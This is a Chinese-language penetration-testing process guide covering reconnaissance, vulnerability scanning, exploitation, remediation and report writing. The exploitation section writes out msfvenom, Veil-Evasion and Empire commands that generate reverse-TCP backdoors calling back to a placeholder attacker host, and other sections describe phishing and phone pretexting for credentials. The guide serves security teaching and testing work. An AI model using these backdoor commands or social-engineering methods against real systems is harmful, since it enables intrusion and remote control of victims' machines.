渗透测试流程
1. 信息收集阶段
网络拓扑结构分析
- 使用nmap扫描目标网络，获取目标主机IP地址和开放端口信息
- 使用whois查询目标域名的注册信息和DNS服务器信息
- 使用nslookup查询目标域名的IP地址和子域名信息
- 使用traceroute获取目标主机的路由信息
- 使用ping测试目标主机的可达性和响应时间
- 使用社交工程学手段获取目标员工信息和组织架构信息
- 使用公开信息收集工具（如Shodan）查询目标网络的设备和服务信息
域名信息收集
- 使用whois工具获取目标域名的注册信息，包括注册人、注册商、注册日期、过期日期等。
- 使用nslookup或dig工具查询目标域名的DNS记录，获取目标域名的IP地址。
- 使用子域名枚举工具，如sublist3r、amass等，获取目标域名的所有子域名。
- 使用网站爬虫工具，如SpiderFoot、theHarvester等，获取目标域名关联的其他域名、邮箱、IP地址等信息。
端口扫描
- 使用nmap进行端口扫描，命令如下：
nmap -sS -p 1-65535 target_ip
- 结果示例：
Starting Nmap 7.80 ( https://nmap.org ) at 2021-10-01 15:34 CST
Nmap scan report for target_ip
Host is up (0.12s latency).
Not shown: 65530 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
443/tcp open https
2049/tcp open nfs
3306/tcp open mysql
5432/tcp open postgresql
8080/tcp open http-proxy
20000/tcp open dnp
- 解释：
-sS参数表示使用TCP SYN扫描方式；-p参数表示扫描的端口范围，这里扫描了1-65535所有端口；target_ip为目标IP地址。
操作系统识别
- 使用nmap扫描目标IP地址，获取目标主机开放的端口和服务信息。
- 使用nmap的操作系统识别功能，获取目标主机所使用的操作系统类型和版本信息。
- 使用whois查询目标域名的注册信息，获取目标公司、联系人等信息。
- 使用搜索引擎（如Google）搜索目标公司的网站、子域名等信息，获取目标公司的业务范围、技术架构等信息。
- 使用社交媒体（如LinkedIn）搜索目标公司的员工信息，获取目标公司的组织结构、职责分工等信息。
服务识别
- 使用nmap扫描目标IP地址，识别目标主机开放的端口和运行的服务。
- 使用WhatWeb扫描目标网站，识别目标网站所使用的Web框架、CMS、Web服务器等信息。
- 使用whois查询目标域名的注册信息，获取目标组织的联系方式和技术架构等信息。
- 使用Google Hacking Database搜索目标组织的敏感信息，如用户名、密码、配置文件等。
Web应用程序识别
- 使用搜索引擎和目录枚举工具，如Google Hacking Database、Baidu、Shodan等，来发现目标网站的存在。
- 使用Whois查询工具获取目标网站的所有者信息。
- 使用DNS查询工具来枚举目标网站的子域名。
- 使用端口扫描工具，如Nmap、Masscan等，来确定目标网站上开放的端口和服务。
- 使用Web应用程序识别工具，如Wappalyzer、WhatWeb等，来确定目标网站上使用的技术栈、框架和CMS等。
表格示例：
| 工具名称 | 功能描述 |
|---|---|
| Google Hacking Database | 使用Google搜索语法来发现目标网站的存在 |
| Whois查询工具 | 获取目标网站的所有者信息 |
| DNS查询工具 | 枚举目标网站的子域名 |
| 端口扫描工具 | 确定目标网站上开放的端口和服务 |
| Web应用程序识别工具 | 确定目标网站上使用的技术栈、框架和CMS等 |
敏感信息收集- 通过搜索引擎查找相关公司网站，获取公司名称、业务范围、联系方式等敏感信息。
- 使用WHOIS查询工具，获取目标网站的注册人、注册邮箱、IP地址等敏感信息。
- 使用社交媒体平台，如LinkedIn、Facebook等，查找目标公司的员工信息、职位等敏感信息。
- 使用在线工具，如网站漏洞扫描器、端口扫描器等，获取目标网站的漏洞信息、开放端口等敏感信息。
- 通过邮件伪造、电话欺骗等方式，获取目标公司的敏感信息，如员工账号、密码等。
2. 漏洞扫描阶段
漏洞扫描工具选择
-
Nmap
nmap -sS -sV -O target_IP -
Nessus
打开Nessus扫描器，输入目标IP地址，选择扫描模板，开始扫描 -
OpenVAS
打开OpenVAS扫描器，输入目标IP地址，选择扫描模板，开始扫描 -
Burp Suite
打开Burp Suite，配置代理，使用Burp Scanner进行扫描 -
Metasploit
打开Metasploit，使用auxiliary模块进行扫描 -
Acunetix
打开Acunetix，输入目标URL，选择扫描模板，开始扫描 -
sqlmap
sqlmap -u "target_URL" --dbs
漏洞扫描目标选择
- 漏洞扫描目标选择示例：
| 目标 | 描述 |
|---|---|
| Web应用程序 | 使用Burp Suite、OWASP ZAP等工具对Web应用程序进行扫描 |
| 网络设备 | 使用Nmap、Angry IP Scanner等工具对网络设备进行扫描 |
| 操作系统 | 使用OpenVAS、Nessus等工具对操作系统进行扫描 |
| 数据库 | 使用SQLMap等工具对数据库进行扫描 |
| 无线网络 | 使用Aircrack-ng等工具对无线网络进行扫描 |
漏洞扫描结果分析
- 漏洞扫描结果分析：
| 漏洞名称 | 漏洞等级 | 影响范围 | 建议处理方案 |
|---|---|---|---|
| SQL注入漏洞 | 高 | 影响整个网站 | 对输入参数进行过滤和转义处理，使用参数化查询 |
| XSS漏洞 | 中 | 影响用户信息安全 | 对用户输入进行过滤和转义处理，使用CSP等防护措施 |
| 未授权访问漏洞 | 低 | 影响部分功能 | 加强权限控制，限制敏感操作的访问权限 |
漏洞验证- 漏洞验证：
| 漏洞名称 | 漏洞描述 | 验证方式 |
|---|---|---|
| SQL注入漏洞 | 通过注入恶意代码来获取数据库中的敏感信息或者修改数据库内容 | 在输入框中输入特定的SQL语句，观察网站是否返回异常信息 |
| XSS漏洞 | 恶意用户在网站上插入脚本代码，当其他用户访问该页面时，脚本会被执行 | 在输入框中输入特定的脚本代码，观察网站是否执行该脚本 |
| 文件上传漏洞 | 允许用户上传文件，但没有对上传文件进行充分的验证和过滤，攻击者可以上传恶意文件 | 上传包含恶意代码的文件，观察网站是否正常处理该文件 |
3. 渗透攻击阶段
渗透攻击工具选择
-
渗透攻击工具选择：
工具名称 用途 Nmap 端口扫描 Metasploit 漏洞利用 Burp Suite Web应用程序攻击 Aircrack-ng 无线网络攻击 Hydra 密码破解 John the Ripper 密码破解 Sqlmap SQL注入攻击 Wireshark 网络流量分析 Netcat 网络工具 Hping 网络工具
渗透攻击方式选择
-
渗透攻击方式选择：
攻击方式 描述 社交工程学 通过社交技巧获取目标系统的信息，如钓鱼邮件、电话诈骗等。 漏洞利用 利用已知或未知漏洞攻击目标系统，如使用Metasploit框架等。 密码破解 尝试破解目标系统的密码，如使用密码字典、暴力破解等。 物理攻击 直接进入目标系统所在的物理环境进行攻击，如进入机房、拆卸硬件等。
渗透攻击结果分析
- 渗透攻击结果分析：
- 通过渗透测试工具获取的漏洞信息，如nmap、nessus等工具的扫描结果。
- 通过手工测试获取的漏洞信息，如SQL注入、XSS等漏洞。
- 分析漏洞的危害程度，如是否可利用、对系统的影响等。
- 提出修复建议，如修补漏洞、升级补丁等。
渗透攻击后门植入- 使用Metasploit生成反向TCP后门：
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f exe > backdoor.exe
-
使用Veil-Evasion生成反向TCP后门：
veil-evasion.py usestager/windows/meterpreter/rev_tcp set LHOST <attacker IP> set LPORT <attacker port> generate -
使用Empire生成反向TCP后门：
listeners uselistener http set Name http set Host <attacker IP> set Port <attacker port> execute back usestager windows/launcher_bat set Listener http execute
表格：
| 后门类型 | 植入方法 |
|---|---|
| Webshell | 通过漏洞上传Webshell，或者在服务器上直接创建Webshell |
| Rootkit | 修改系统内核或者驱动程序 |
| Trojan | 通过社会工程学手段诱骗用户下载安装 |
| RAT | 通过漏洞或者社会工程学手段植入远程控制软件 |
4. 漏洞修复阶段
漏洞修复建议
- 漏洞修复建议：
- 修复漏洞前先备份数据和系统。
- 优先修复高危漏洞，其次再修复中危和低危漏洞。
- 修复漏洞时要注意不要引入新的漏洞。
- 对修复后的系统进行再次测试，以确保漏洞已经被修复。
- 对修复后的系统进行监控和日志审计，及时发现新的漏洞或攻击行为。
漏洞修复跟踪- 漏洞修复跟踪：
| 漏洞编号 | 漏洞描述 | 修复状态 | 修复人员 | 修复时间 |
|---|---|---|---|---|
| 001 | SQL注入漏洞 | 已修复 | 张三 | 2021-05-01 |
| 002 | XSS漏洞 | 未修复 | 李四 | - |
| 003 | 文件上传漏洞 | 已修复 | 王五 | 2021-05-02 |
5. 报告编写阶段
渗透测试报告结构
- 渗透测试报告结构：
标题 内容 1. 引言 对渗透测试的目的、范围、方法、工具等进行说明 2. 测试过程 对测试的步骤、方法、结果进行详细描述 3. 漏洞分析 对测试中发现的漏洞进行分析、评估和分类 4. 风险评估 对漏洞的风险进行评估和分类，并提出相应的建议和措施 5. 结论和建议 对测试结果进行总结，并提出相应的建议和措施 6. 附录 包括测试过程中的截图、日志、代码等详细信息
报告编写要点
- 报告编写要点：
- 对测试结果进行详细描述，包括测试的目标、范围、方法和结果。
- 列出所有发现的漏洞和安全问题，并按照优先级进行分类。
- 对每个漏洞或安全问题进行详细描述，包括其影响、利用方法和建议的修复方案。
- 提供截图、漏洞利用脚本等支持证据。
- 针对每个漏洞或安全问题，提供相应的修复建议并给出修复建议的优先级。
- 附上测试人员的联系方式，以便在需要时进行进一步沟通。
报告提交及漏洞公开风险评估- 报告提交及漏洞公开风险评估示例：
- 将渗透测试报告提交给客户，并说明测试过程中发现的漏洞及其风险等级。
- 对于高风险漏洞，需要在报告中提供详细的修复建议，并督促客户及时修复。
- 在报告中评估漏洞公开的风险，对于可能会导致严重后果的漏洞，需要在报告中说明风险，并建议客户尽快修复。同时，需要提醒客户在修复之前谨慎处理漏洞信息，避免泄露给攻击者。